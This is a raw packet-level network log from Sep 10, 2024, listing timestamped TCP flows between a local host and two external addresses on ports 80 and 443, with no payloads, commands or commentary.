Sep 10, 2024 19:36:10.873847961 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873855114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873866081 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873877048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873899937 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873899937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873909950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873910904 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873923063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873931885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:10.873944044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873961926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:10.873982906 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.027348995 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.027380943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.032259941 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.032519102 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.249428034 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.249631882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.272483110 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.277242899 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.404293060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.404314995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.404331923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.404396057 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.404428005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.406932116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.411729097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.539834976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.539906979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.588453054 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.588560104 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593367100 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593430042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593489885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593507051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593543053 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593554020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593566895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593568087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593583107 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593597889 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593605995 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593610048 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593619108 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593635082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593652964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593667984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593667984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593699932 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593728065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593780041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593833923 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.593918085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.593972921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.594062090 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.594134092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.594134092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.594146013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.594197989 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.598395109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.598467112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.598624945 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.598680973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.598843098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.598891973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.598895073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.598948956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.598963976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.598977089 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599014044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.599028111 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.599070072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599123001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.599170923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599203110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599216938 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.599246979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.599282026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599293947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599355936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.599489927 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599503994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599518061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599539042 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599550009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599560976 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599571943 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599582911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599594116 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599617004 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599627972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599638939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599781990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599800110 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599812031 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.599822998 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.603446007 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.603511095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.603524923 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.603570938 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.603585958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.603599072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.603622913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.603722095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.603810072 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.603974104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604023933 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604125977 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604140043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604345083 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604357958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604370117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604419947 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604433060 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604470015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604481936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604492903 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604556084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604569912 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604613066 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604624987 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604715109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604729891 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604741096 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604798079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604809999 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604821920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604923964 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.604935884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.605060101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.942914009 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:11.943026066 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.946733952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:11.951507092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:12.078560114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 10, 2024 19:36:12.078763008 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 10, 2024 19:36:12.101732969 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:12.101820946 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:12.101900101 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:12.105849028 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:12.105889082 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.055766106 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.055883884 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.103452921 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.103537083 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.103811979 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.103899002 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.105600119 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.147452116 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.720786095 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.720813036 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.720830917 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.720875025 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.720943928 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.720978975 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.721066952 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.987576008 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.987590075 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.987642050 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.987816095 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.987816095 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.987870932 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.987936974 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.988451958 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.988471985 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.988598108 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.988670111 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.988728046 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.988728046 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.988744020 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.988759041 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.988780975 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.988929033 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.989020109 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.989020109 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.989021063 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:13.989097118 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:13.989224911 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.053121090 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.053131104 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.053174019 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.053203106 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.053244114 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.053263903 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.053292990 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.056315899 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.056332111 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.056387901 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.056413889 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.056457043 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.058059931 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.058075905 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.058130026 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.058146000 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.058213949 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.058394909 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.058409929 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.058456898 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.058466911 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.058511019 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.061868906 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.061882973 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.061933041 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.061944008 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.061980009 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.064929008 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.064944029 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.064999104 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.065012932 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.065051079 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.065260887 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.065275908 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.065330029 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.065342903 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.065387011 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.066899061 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.066932917 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.066965103 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.066988945 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.067006111 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.067022085 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.068708897 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.068725109 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.068778992 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.068794012 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.068840981 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.069421053 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.069434881 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.069488049 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.069497108 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.069529057 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.069694996 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.069708109 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.069752932 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.069761992 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.069807053 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.070527077 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.070540905 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.070589066 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.070596933 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.070635080 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.071429968 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.071444988 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.071492910 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.071501970 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.071541071 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.076721907 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.076738119 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.076788902 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.076819897 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.076862097 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.077104092 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.077117920 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.077167988 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.077179909 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.077218056 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.077927113 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.077963114 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.077985048 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.077991962 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.078001976 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.078017950 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.078036070 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.078061104 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.079299927 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.079314947 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.079372883 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.079407930 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.079446077 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.080188990 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.080204010 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.080252886 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.080252886 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.080261946 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.080277920 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.080292940 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.080306053 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.080322027 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.080341101 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.081104994 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081119061 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081192970 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.081202984 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081238985 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.081264973 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081279039 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081330061 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.081338882 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081379890 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.081775904 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081789017 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081837893 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.081842899 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081851959 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081877947 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081891060 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.081902027 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.081924915 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.081938028 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.082449913 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.082464933 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.082516909 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.082532883 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.082572937 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.082623959 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.082636118 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.082674980 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.082683086 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.082727909 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.082756996 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.082771063 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.082815886 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.082824945 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.082870960 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.083050966 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083064079 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083106041 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.083117008 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083156109 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.083323002 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083336115 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083379030 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.083400965 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083444118 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.083606005 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083620071 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083667040 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.083677053 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083715916 CEST	49708	443	192.168.2.5	198.54.120.231
Sep 10, 2024 19:36:15.083909035 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083925962 CEST	443	49708	198.54.120.231	192.168.2.5
Sep 10, 2024 19:36:15.083975077 CEST	49708	443	192.168.2.5	198.54.120.231
